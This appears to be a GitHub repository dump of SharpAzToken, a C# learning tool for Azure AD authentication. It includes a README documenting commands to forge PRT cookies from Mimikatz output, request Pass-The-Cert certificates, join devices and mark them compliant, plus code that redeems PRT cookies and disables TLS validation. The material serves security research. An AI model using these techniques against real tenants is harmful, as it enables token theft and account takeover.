├── .gitignore ├── LICENSE ├── README.md ├── SharpAzToken.sln └── SharpAzToken ├── AzClientIDEnum.cs ├── AzResourceEnum.cs ├── AzScopes.cs ├── FociClients.cs ├── Helper.cs ├── MEManager.cs ├── Models ├── DeviceCodeResp.cs ├── DeviceEnrollmentReq.cs ├── DeviceEnrollmentResp.cs ├── ErrorResponse.cs └── OpenIDConfigurationResp.cs ├── Options.cs ├── Program.cs ├── SharpAzToken.csproj ├── Tokenator.cs ├── UserAgentEnums.cs └── Utils.cs /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | launchSettings.json 13 | 14 | # User-specific files (MonoDevelop/Xamarin Studio) 15 | *.userprefs 16 | 17 | # Mono auto generated files 18 | mono_crash.* 19 | 20 | # Build results 21 | [Dd]ebug/ 22 | [Dd]ebugPublic/ 23 | [Rr]elease/ 24 | [Rr]eleases/ 25 | x64/ 26 | x86/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # StyleCop 66 | StyleCopReport.xml 67 | 68 | # Files built by Visual Studio 69 | *_i.c 70 | *_p.c 71 | *_h.h 72 | *.ilk 73 | *.meta 74 | *.obj 75 | *.iobj 76 | *.pch 77 | *.pdb 78 | *.ipdb 79 | *.pgc 80 | *.pgd 81 | *.rsp 82 | *.sbr 83 | *.tlb 84 | *.tli 85 | *.tlh 86 | *.tmp 87 | *.tmp_proj 88 | *_wpftmp.csproj 89 | *.log 90 | *.vspscc 91 | *.vssscc 92 | .builds 93 | *.pidb 94 | *.svclog 95 | *.scc 96 | 97 | # Chutzpah Test files 98 | _Chutzpah* 99 | 100 | # Visual C++ cache files 101 | ipch/ 102 | *.aps 103 | *.ncb 104 | *.opendb 105 | *.opensdf 106 | *.sdf 107 | *.cachefile 108 | *.VC.db 109 | *.VC.VC.opendb 110 | 111 | # Visual Studio profiler 112 | *.psess 113 | *.vsp 114 | *.vspx 115 | *.sap 116 | 117 | # Visual Studio Trace Files 118 | *.e2e 119 | 120 | # TFS 2012 Local Workspace 121 | $tf/ 122 | 123 | # Guidance Automation Toolkit 124 | *.gpState 125 | 126 | # ReSharper is a .NET coding add-in 127 | _ReSharper*/ 128 | *.[Rr]e[Ss]harper 129 | *.DotSettings.user 130 | 131 | # TeamCity is a build add-in 132 | _TeamCity* 133 | 134 | # DotCover is a Code Coverage Tool 135 | *.dotCover 136 | 137 | # AxoCover is a Code Coverage Tool 138 | .axoCover/* 139 | !.axoCover/settings.json 140 | 141 | # Visual Studio code coverage results 142 | *.coverage 143 | *.coveragexml 144 | 145 | # NCrunch 146 | _NCrunch_* 147 | .*crunch*.local.xml 148 | nCrunchTemp_* 149 | 150 | # MightyMoose 151 | *.mm.* 152 | AutoTest.Net/ 153 | 154 | # Web workbench (sass) 155 | .sass-cache/ 156 | 157 | # Installshield output folder 158 | [Ee]xpress/ 159 | 160 | # DocProject is a documentation generator add-in 161 | DocProject/buildhelp/ 162 | DocProject/Help/*.HxT 163 | DocProject/Help/*.HxC 164 | DocProject/Help/*.hhc 165 | DocProject/Help/*.hhk 166 | DocProject/Help/*.hhp 167 | DocProject/Help/Html2 168 | DocProject/Help/html 169 | 170 | # Click-Once directory 171 | publish/ 172 | 173 | # Publish Web Output 174 | *.[Pp]ublish.xml 175 | *.azurePubxml 176 | # Note: Comment the next line if you want to checkin your web deploy settings, 177 | # but database connection strings (with potential passwords) will be unencrypted 178 | *.pubxml 179 | *.publishproj 180 | 181 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 182 | # checkin your Azure Web App publish settings, but sensitive information contained 183 | # in these scripts will be unencrypted 184 | PublishScripts/ 185 | 186 | # NuGet Packages 187 | *.nupkg 188 | # NuGet Symbol Packages 189 | *.snupkg 190 | # The packages folder can be ignored because of Package Restore 191 | **/[Pp]ackages/* 192 | # except build/, which is used as an MSBuild target. 193 | !**/[Pp]ackages/build/ 194 | # Uncomment if necessary however generally it will be regenerated when needed 195 | #!**/[Pp]ackages/repositories.config 196 | # NuGet v3's project.json files produces more ignorable files 197 | *.nuget.props 198 | *.nuget.targets 199 | 200 | # Microsoft Azure Build Output 201 | csx/ 202 | *.build.csdef 203 | 204 | # Microsoft Azure Emulator 205 | ecf/ 206 | rcf/ 207 | 208 | # Windows Store app package directories and files 209 | AppPackages/ 210 | BundleArtifacts/ 211 | Package.StoreAssociation.xml 212 | _pkginfo.txt 213 | *.appx 214 | *.appxbundle 215 | *.appxupload 216 | 217 | # Visual Studio cache files 218 | # files ending in .cache can be ignored 219 | *.[Cc]ache 220 | # but keep track of directories ending in .cache 221 | !?*.[Cc]ache/ 222 | 223 | # Others 224 | ClientBin/ 225 | ~$* 226 | *~ 227 | *.dbmdl 228 | *.dbproj.schemaview 229 | *.jfm 230 | *.pfx 231 | *.publishsettings 232 | orleans.codegen.cs 233 | 234 | # Including strong name files can present a security risk 235 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 236 | #*.snk 237 | 238 | # Since there are multiple workflows, uncomment next line to ignore bower_components 239 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 240 | #bower_components/ 241 | 242 | # RIA/Silverlight projects 243 | Generated_Code/ 244 | 245 | # Backup & report files from converting an old project file 246 | # to a newer Visual Studio version. Backup files are not needed, 247 | # because we have git ;-) 248 | _UpgradeReport_Files/ 249 | Backup*/ 250 | UpgradeLog*.XML 251 | UpgradeLog*.htm 252 | ServiceFabricBackup/ 253 | *.rptproj.bak 254 | 255 | # SQL Server files 256 | *.mdf 257 | *.ldf 258 | *.ndf 259 | 260 | # Business Intelligence projects 261 | *.rdl.data 262 | *.bim.layout 263 | *.bim_*.settings 264 | *.rptproj.rsuser 265 | *- [Bb]ackup.rdl 266 | *- [Bb]ackup ([0-9]).rdl 267 | *- [Bb]ackup ([0-9][0-9]).rdl 268 | 269 | # Microsoft Fakes 270 | FakesAssemblies/ 271 | 272 | # GhostDoc plugin setting file 273 | *.GhostDoc.xml 274 | 275 | # Node.js Tools for Visual Studio 276 | .ntvs_analysis.dat 277 | node_modules/ 278 | 279 | # Visual Studio 6 build log 280 | *.plg 281 | 282 | # Visual Studio 6 workspace options file 283 | *.opt 284 | 285 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 286 | *.vbw 287 | 288 | # Visual Studio LightSwitch build output 289 | **/*.HTMLClient/GeneratedArtifacts 290 | **/*.DesktopClient/GeneratedArtifacts 291 | **/*.DesktopClient/ModelManifest.xml 292 | **/*.Server/GeneratedArtifacts 293 | **/*.Server/ModelManifest.xml 294 | _Pvt_Extensions 295 | 296 | # Paket dependency manager 297 | .paket/paket.exe 298 | paket-files/ 299 | 300 | # FAKE - F# Make 301 | .fake/ 302 | 303 | # CodeRush personal settings 304 | .cr/personal 305 | 306 | # Python Tools for Visual Studio (PTVS) 307 | __pycache__/ 308 | *.pyc 309 | 310 | # Cake - Uncomment if you are using it 311 | # tools/** 312 | # !tools/packages.config 313 | 314 | # Tabs Studio 315 | *.tss 316 | 317 | # Telerik's JustMock configuration file 318 | *.jmconfig 319 | 320 | # BizTalk build output 321 | *.btp.cs 322 | *.btm.cs 323 | *.odx.cs 324 | *.xsd.cs 325 | 326 | # OpenCover UI analysis results 327 | OpenCover/ 328 | 329 | # Azure Stream Analytics local run output 330 | ASALocalRun/ 331 | 332 | # MSBuild Binary and Structured Log 333 | *.binlog 334 | 335 | # NVidia Nsight GPU debugger configuration file 336 | *.nvuser 337 | 338 | # MFractors (Xamarin productivity tool) working folder 339 | .mfractor/ 340 | 341 | # Local History for Visual Studio 342 | .localhistory/ 343 | 344 | # BeatPulse healthcheck temp database 345 | healthchecksdb 346 | 347 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 348 | MigrationBackup/ 349 | 350 | # Ionide (cross platform F# VS Code tools) working folder 351 | .ionide/ 352 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Constantin 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpAzToken 2 | 3 | SharpAzToken (formerly Lantern) is a small tool I created to learn about Azure authentication, tokens and C#. Maybe It helps you to learn, too. The code for authentication, is mainly adapted from [auth.py](https://github.com/dirkjanm/ROADtools/blob/master/roadlib/roadtools/roadlib/auth.py) of [roadtools](https://github.com/dirkjanm/ROADtools) from [Dirk-Jan](https://twitter.com/_dirkjan) and ported to c#. All credits for the authentication part goes to him. 4 | 5 | How Azure PRT works is mainly described in these two articles: 6 | 7 | * [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) 8 | * [https://dirkjanm.io/digging-further-into-the-primary-refresh-token/](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) 9 | 10 | Additionally, I started to implement Azure Device Join and to learn about that. Here I copied and adapted the code mainly from [AADInternals](https://github.com/Gerenios/AADInternals). Here all credits goes to [Dr. Nestori Syynimaa](https://twitter.com/DrAzureAD). If you want to learn more about device join I can recommend reading [this](https://o365blog.com/) blog. 11 | 12 | At the moment you can request some tokens in various ways and join a device to Azure. Additionally you can use this device the get PRT and a session key. More is coming. 13 | 14 | **Note:** This tools is for learning and it is in pre-, pre-, pre- (what comes before alpha?) status. 15 | 16 | ## Compiling 17 | 18 | You can build it with VisualStudio 2019 and .NetCore. Simple open the project and compile it. I tested it for Windows and Linux. 19 | 20 | ## Usage 21 | 22 | ### Proxy 23 | 24 | You can always see whats going on if you add a proxy like: 25 | 26 | ``` 27 | --proxy http://127.0.0.1:8080 28 | ``` 29 | 30 | Tipp: Disable HTTP2 support on your proxy. The library I use does not support HTTP2 and I had problems with burp, if I didn't disable HTTP2. 31 | 32 | ### Help 33 | 34 | ``` 35 | .\SharpAzToken.exe --help 36 | _________.__ _____ ___________ __ 37 | / _____/| |__ _____ _____________ / _ \ _______\__ ___/___ | | __ ____ ____ 38 | \_____ \ | | \\__ \\_ __ \____ \ / /_\ \\___ / | | / _ \| |/ // __ \ / \ 39 | / \| Y \/ __ \| | \/ |_> > | \/ / | |( <_> ) <\ ___/| | \ 40 | /_______ /|___| (____ /__| | __/\____|__ /_____ \ |____| \____/|__|_ \\___ >___| / 41 | \/ \/ \/ |__| \/ \/ \/ \/ \/ 42 | 43 | SharpAzToken 0.0.3 44 | 45 | p2pcert Ask for a P2P Certificate. 46 | nonce Request a nonce from Azure. 47 | cookie Create a PRT Cookie for further usage or your browser. 48 | token Play with Azure tokens using "/oauth2/token" endpoint. 49 | tokenv2 Play with Azure tokens using "/oauth2/v2.0/token" endpoint. 50 | mdm Do things with Intune like joining a device 51 | devicekeys Play with Device Keys - Get a PRT and a SessionKey for a 52 | certificate. 53 | utils Some arbitrary usefull functions. 54 | help Display more information on a specific command. 55 | version Display version information. 56 | 57 | 58 | ``` 59 | 60 | ### P2PCert 61 | 62 | Request a certificate to perform a Pass-The-Cert. 63 | 64 | ``` 65 | SharpAzToken.exe p2pcert --help 66 | 67 | --pfxpath Specify path to device certificate (PFX). 68 | --pfxpassword (Default: ) Specify a password for the certificate 69 | --devicename Device Name 70 | --tenant Set Tenant 71 | --username Set username 72 | --password Set password 73 | --prt Set PRT 74 | --sessionkey Set Session Key 75 | --derivedkey Set DerivedKey 76 | --context Set Context 77 | --proxy Set Proxy 78 | --help Display this help screen. 79 | --version Display version information. 80 | ``` 81 | 82 | ### Nonce 83 | 84 | Request a nonce you can use the following command: 85 | 86 | ```cmd 87 | SharpAzToken.exe nonce --help 88 | 89 | --proxy Set Proxy 90 | --help Display this help screen. 91 | --version Display version information. 92 | 93 | ``` 94 | 95 | ### Cookie 96 | 97 | Create a PRT-Cookie for the browser you can use: 98 | 99 | ```cmd 100 | SharpAzToken.exe cookie --help 101 | 102 | --prt Use PRT (from Mimikatz) 103 | --derivedkey Use DerivedKey (from Mimikatz) 104 | --context Use Context (from Mimikatz 105 | --sessionkey Use Session Key 106 | --proxy Set Proxy 107 | --help Display this help screen. 108 | --version Display version information. 109 | ``` 110 | 111 | ### Token 112 | 113 | Create tokens in various combination and play with them: 114 | 115 | ```cmd 116 | .\SharpAzToken.exe token --help 117 | _________.__ _____ ___________ __ 118 | / _____/| |__ _____ _____________ / _ \ _______\__ ___/___ | | __ ____ ____ 119 | \_____ \ | | \\__ \\_ __ \____ \ / /_\ \\___ / | | / _ \| |/ // __ \ / \ 120 | / \| Y \/ __ \| | \/ |_> > | \/ / | |( <_> ) <\ ___/| | \ 121 | /_______ /|___| (____ /__| | __/\____|__ /_____ \ |____| \____/|__|_ \\___ >___| / 122 | \/ \/ \/ |__| \/ \/ \/ \/ \/ 123 | 124 | SharpAzToken 0.0.3 125 | 126 | --prt Use PRT 127 | --sessionkey Use Session Key 128 | --devicecode (Default: false) Use DeviceCode authentication 129 | --derivedkey Use DerivedKey 130 | --context Use Context 131 | --refreshtoken Use Refreshtoken 132 | --prtcookie Use PRTCookie 133 | --clientid (Default: 1b730954-1685-4b74-9bfd-dac224a7b894) Set ClientID 134 | (ApplicationID), for example GraphAPI 135 | (1b730954-1685-4b74-9bfd-dac224a7b894) 136 | --clientsecret Use Client Secret 137 | --tenant Specify Tenant 138 | --username Use username 139 | --password Use password 140 | --resourceid (Default: https://graph.windows.net) Set resource ID for 141 | access token, for example for Device Management 142 | (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9) 143 | --clientname Set a client used for token request, you can choose between: 144 | Outlook, Substrate, Teams, Graph, MSGraph, Core, Office, 145 | Intune, Windows, ComplianceCenter, SharepointOnline or 146 | ExchangeOnlineV2. Or you can set custom values with 147 | --clientid and --resourceid 148 | --proxy Set Proxy 149 | --help Display this help screen. 150 | --version Display version information. 151 | ``` 152 | 153 | ### Tokenv2 154 | 155 | Create a token using "/oauth2/v2.0/token" endpoint. 156 | 157 | ```cmd 158 | .\SharpAzToken.exe tokenv2 --help 159 | 160 | 161 | _________.__ _____ ___________ __ 162 | / _____/| |__ _____ _____________ / _ \ _______\__ ___/___ | | __ ____ ____ 163 | \_____ \ | | \\__ \\_ __ \____ \ / /_\ \\___ / | | / _ \| |/ // __ \ / \ 164 | / \| Y \/ __ \| | \/ |_> > | \/ / | |( <_> ) <\ ___/| | \ 165 | /_______ /|___| (____ /__| | __/\____|__ /_____ \ |____| \____/|__|_ \\___ >___| / 166 | \/ \/ \/ |__| \/ \/ \/ \/ \/ 167 | 168 | SharpAzToken 0.0.3 169 | 170 | --prt Use PRT 171 | --sessionkey Use Session Key 172 | --devicecode (Default: false) Use DeviceCode authentication 173 | --derivedkey Use DerivedKey 174 | --prtcookie Use PRTCookie 175 | --context Use Context 176 | --refreshtoken Use Refreshtoken 177 | --clientid (Default: 1b730954-1685-4b74-9bfd-dac224a7b894) Set ClientID 178 | (ApplicationID), for example GraphAPI 179 | (1b730954-1685-4b74-9bfd-dac224a7b894) 180 | --clientsecret Use Client Secret 181 | --tenant Specify Tenant 182 | --username Use username 183 | --password Use password 184 | --clientname Set a client used for token request, you can choose between: 185 | Outlook, Substrate, Teams, Graph, MSGraph, Core, Office, 186 | Intune, Windows, ComplianceCenter or ExchangeOnlineV2. Or 187 | you can set custom values with --clientid and --scope 188 | --scope (Default: .default offline_access) Set a custom scope 189 | --proxy Set Proxy 190 | --help Display this help screen. 191 | --version Display version information. 192 | ``` 193 | 194 | ### MDM 195 | 196 | Join a device or mark a device as compliant. 197 | 198 | ```cmd 199 | SharpAzToken.exe mdm --help 200 | 201 | --joindevice (Default: false) Join a device, then you need to set at 202 | least a devicename (--devicename) 203 | --markcompliant (Default: false) Mark a device as compliant, then you need 204 | to set at least the deviceid (--objectid) 205 | --objectid Specifiy the ObjectID of the device 206 | --devicename Specifiy device name 207 | --registerdevice (Default: false) Set this, if you want only register the 208 | device 209 | --accesstoken Set access token - use token with --clientid 210 | 1b730954-1685-4b74-9bfd-dac224a7b894 and --resourceid 211 | 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 or --clientname 212 | Windows 213 | --tenant Set Tenant 214 | --username Set username 215 | --password Set password 216 | --proxy Set Proxy 217 | --help Display this help screen. 218 | --version Display version information. 219 | ``` 220 | 221 | ### Devicekeys 222 | 223 | Generate PRT and session key from a Deivce certificat. Have to join a device before. 224 | 225 | ```cmd 226 | 227 | SharpAzToken.exe devicekeys --help 228 | 229 | --pfxpath Required. Specify path to device certificate (PFX). 230 | --tenant Set Tenant 231 | --username Set username 232 | --password Set password 233 | --refreshtoken Set Refreshtoken 234 | --clientid (Default: 1b730954-1685-4b74-9bfd-dac224a7b894) Set ClientID 235 | (ApplicationID), for example GraphAPI 236 | (1b730954-1685-4b74-9bfd-dac224a7b894) 237 | --proxy Set Proxy 238 | --help Display this help screen. 239 | --version Display version information. 240 | 241 | ``` 242 | -------------------------------------------------------------------------------- /SharpAzToken.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30717.126 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "SharpAzToken", "SharpAzToken\SharpAzToken.csproj", "{9B865CD9-4593-4713-8205-A50042F47CCF}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {9B865CD9-4593-4713-8205-A50042F47CCF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {9B865CD9-4593-4713-8205-A50042F47CCF}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {9B865CD9-4593-4713-8205-A50042F47CCF}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {9B865CD9-4593-4713-8205-A50042F47CCF}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {D87ACE8C-23F0-4D8C-87D3-4B627E3D2D3C} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpAzToken/AzClientIDEnum.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace SharpAzToken 6 | { 7 | class AzClientIDEnum 8 | { 9 | public const string DeviceMgmt = "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9"; 10 | public const string GraphAPI = "1b730954-1685-4b74-9bfd-dac224a7b894"; 11 | public const string AzureMDM = "29d9ed98-a469-4536-ade2-f981bc1d605e"; 12 | public const string MicrosoftOffice = "d3590ed6-52b3-4102-aeff-aad2292ab01c"; 13 | public const string Substrate = "d3590ed6-52b3-4102-aeff-aad2292ab01c"; 14 | public const string Teams = "d3590ed6-52b3-4102-aeff-aad2292ab01c"; 15 | public const string MSGraph = "d3590ed6-52b3-4102-aeff-aad2292ab01c"; 16 | public const string WebShell = "89bee1f7-5e6e-4d8a-9f3d-ecd601259da7"; 17 | public const string Core = "d3590ed6-52b3-4102-aeff-aad2292ab01c"; 18 | public const string WindowsClient = "1b730954-1685-4b74-9bfd-dac224a7b894"; 19 | public const string OfficeApps = "ab9b8c07-8f02-4f72-87fa-80105867a763"; 20 | public const string Intune = "6c7e8096-f593-4d72-807f-a5f86dcc9c77"; 21 | public const string ExchangeOnlinePowerShell = "fb78d390-0c51-40cd-8e17-fdbfab77341b"; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /SharpAzToken/AzResourceEnum.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace SharpAzToken 6 | { 7 | public static class AzResourceEnum 8 | { 9 | public const string GraphAPI = "https://graph.windows.net"; 10 | public const string AzureMDM = "https://enrollment.manage.microsoft.com"; 11 | public const string Outlook = "https://outlook.office365.com"; 12 | public const string Substrate = "https://substrate.office.com"; 13 | public const string Teams = "https://api.spaces.skype.com"; 14 | public const string MSGraph = "https://graph.microsoft.com"; 15 | public const string WebShell = "https://webshell.suite.office.com"; 16 | public const string Core = "https://management.core.windows.net"; 17 | public const string OfficeApps = "https://officeapps.live.com"; 18 | public const string Intune = "https://intunemam.microsoftonline.com"; 19 | public const string WindowsClient = "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9"; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpAzToken/AzScopes.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace SharpAzToken 6 | { 7 | public static class AzScopes 8 | { 9 | public static string Default = ".default"; 10 | public static string ComplianceCenter = "https://ps.compliance.protection.outlook.com/.default offline_access openid profile"; 11 | public static string ExchangeOnlineV2 = "https://outlook.office365.com/.default openid offline_access profile "; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /SharpAzToken/FociClients.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace SharpAzToken 6 | { 7 | // Borrowed from https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv 8 | internal class FociClients 9 | { 10 | public const string Office365Management = "00b41c95-dab0-4487-9791-b9d2c32c80f2"; 11 | public const string MicrosoftAzureCLI = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"; 12 | public const string MicrosoftAzurePowerShell = "1950a258-227b-4e31-a9cf-717495945fc2"; 13 | public const string MicrosoftTeams = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"; 14 | public const string WindowsSearch = "26a7ee05-5602-4d76-a7ba-eae8b7b67941"; 15 | public const string OutlookMobile = "27922004-5251-4030-b22d-91ecd9a37ea4"; 16 | public const string MicrosoftAuthenticatorApp = "4813382a-8fa7-425e-ab75-3b753aab3abb"; 17 | public const string OneDriveSyncEngine = "ab9b8c07-8f02-4f72-87fa-80105867a763"; 18 | public const string MicrosoftOffice = "d3590ed6-52b3-4102-aeff-aad2292ab01c"; 19 | public const string VisualStudio = "872cd9fa-d31f-45e0-9eab-6e460a02d1f1"; 20 | public const string OneDriveiOSApp = "af124e86-4e96-495a-b70a-90f90ab96707"; 21 | public const string MicrosoftBingSearchforMicrosoftEdge = "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8"; 22 | public const string MicrosoftStreamMobileNative = "844cca35-0656-46ce-b636-13f48b0eecbd"; 23 | public const string MicrosoftTeamsDeviceAdminAgent = "87749df4-7ccf-48f8-aa87-704bad0e0e16,"; 24 | public const string MicrosoftBingSearch = "cf36b471-5b44-428c-9ce7-313bf84528de"; 25 | public const string OfficeUWPPWA = "0ec893e0-5785-4de6-99da-4ed124e5296c"; 26 | public const string MicrosoftToDoclient = "22098786-6e16-43cc-a27d-191a01a1e3b5"; 27 | public const string PowerApps = "4e291c71-d680-4d0e-9640-0a3358e31177"; 28 | public const string MicrosoftWhiteboardClient = "57336123-6e14-4acc-8dcf-287b6088aa28"; 29 | public const string MicrosoftFlow = "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0"; 30 | public const string MicrosoftPlanner = "66375f6b-983f-4c2c-9701-d680650f588f"; 31 | public const string MicrosoftIntuneCompanyPortal = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223"; 32 | public const string AccountsControlUI = "a40d7d7d-59aa-447e-a655-679a4107e548"; 33 | public const string YammeriPhone = "a569458c-7f2b-45cb-bab9-b7dee514d112"; 34 | public const string OneDrive = "b26aadf8-566f-4478-926f-589f601d9c74"; 35 | public const string MicrosoftPowerBI = "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12"; 36 | public const string SharePoint = "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0"; 37 | public const string MicrosoftEdge = "e9c51622-460d-4d3d-952d-966a5b1da34c"; 38 | public const string MicrosoftTunnel = "eb539595-3fe1-474e-9c1d-feb3625d1be5"; 39 | public const string MicrosoftEdge2 = "ecd6b820-32c2-49b6-98a6-444530e5a77a"; 40 | public const string SharePointAndroid = "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d"; 41 | public const string MicrosoftEdge3 = "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34"; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /SharpAzToken/Helper.cs: -------------------------------------------------------------------------------- 1 | using JWT; 2 | using JWT.Algorithms; 3 | using JWT.Serializers; 4 | using Newtonsoft.Json.Linq; 5 | using System; 6 | using System.Collections.Generic; 7 | using System.ComponentModel; 8 | using System.Globalization; 9 | using System.Linq; 10 | using System.Net; 11 | using System.Net.Http; 12 | using System.Net.Http.Headers; 13 | using System.Reflection; 14 | using System.Text; 15 | using System.Text.Json; 16 | using System.Text.RegularExpressions; 17 | 18 | namespace SharpAzToken 19 | { 20 | class Helper 21 | { 22 | public static string getCodeFromPRTCookieV1(string cookie, string proxy, string resourceID, string clientID) 23 | { 24 | String uri = string.Format(@"/common/oauth2/authorize?client_id={0}&resource={1}&response_type=code&&redirect_uri=urn:ietf:wg:oauth:2.0:oob", 25 | clientID, 26 | resourceID 27 | ); 28 | return getCodeFromPRTCookie(cookie, proxy, uri); 29 | } 30 | 31 | public static string getCodeFromPRTCookieV2(string cookie, string proxy, string scope, string clientID) 32 | { 33 | String uri = string.Format(@"/common/oauth2/authorize?client_id={0}&scope={1}&response_type=code&&redirect_uri=urn:ietf:wg:oauth:2.0:oob", 34 | clientID, 35 | scope 36 | ); 37 | return getCodeFromPRTCookie(cookie, proxy, uri); 38 | } 39 | public static string getCodeFromPRTCookie(string cookie, string proxy, string uri) 40 | { 41 | HttpClient client = getDefaultClient(proxy); 42 | using (client) 43 | { 44 | var message = new HttpRequestMessage(HttpMethod.Get, uri); 45 | String xcookie = "x-ms-RefreshTokenCredential=" + cookie; 46 | message.Headers.Add("Cookie", xcookie); 47 | var response = client.SendAsync(message).Result; 48 | if (response.StatusCode.Equals("200")) 49 | { 50 | Console.WriteLine("[-] Something went wrong, cannot fetch code with PRT cookie, maybe Conditional Access Policy blocks."); 51 | return null; 52 | } 53 | string location = ""; 54 | if (response.Headers.Contains("Location")) 55 | { 56 | location = response.Headers.Location.ToString(); 57 | } 58 | else 59 | { 60 | Console.WriteLine("[-] Something went wrong, cannot fetch code with PRT cookie, maybe Conditional Access Policy blocks."); 61 | return ""; 62 | } 63 | 64 | int startOf = location.IndexOf("code="); 65 | if (startOf == -1) 66 | { 67 | Console.WriteLine("[-] Something went wrong, cannot fetch code with PRT cookie, maybe Conditional Access Policy blocks."); 68 | return null; 69 | } 70 | int endOf = location.IndexOf("&", startOf + 5); 71 | int len = endOf - startOf; 72 | string code = location.Substring(startOf + 5, len - 5); 73 | client.Dispose(); 74 | return code; 75 | } 76 | } 77 | 78 | public static HttpClient getDefaultClient(String proxy = null, bool useCookies = true, UserAgentEnums userAgent = UserAgentEnums.Edge, String baseAdress = "https://login.microsoftonline.com") 79 | { 80 | HttpClientHandler handler = new HttpClientHandler(); 81 | if (proxy != null) 82 | { 83 | handler.Proxy = new WebProxy(proxy); 84 | handler.UseProxy = true; 85 | } 86 | 87 | handler.ClientCertificateOptions = ClientCertificateOption.Manual; 88 | handler.ServerCertificateCustomValidationCallback = 89 | (httpRequestMessage, cert, cetChain, policyErrors) => 90 | { 91 | return true; 92 | }; 93 | handler.AllowAutoRedirect = false; 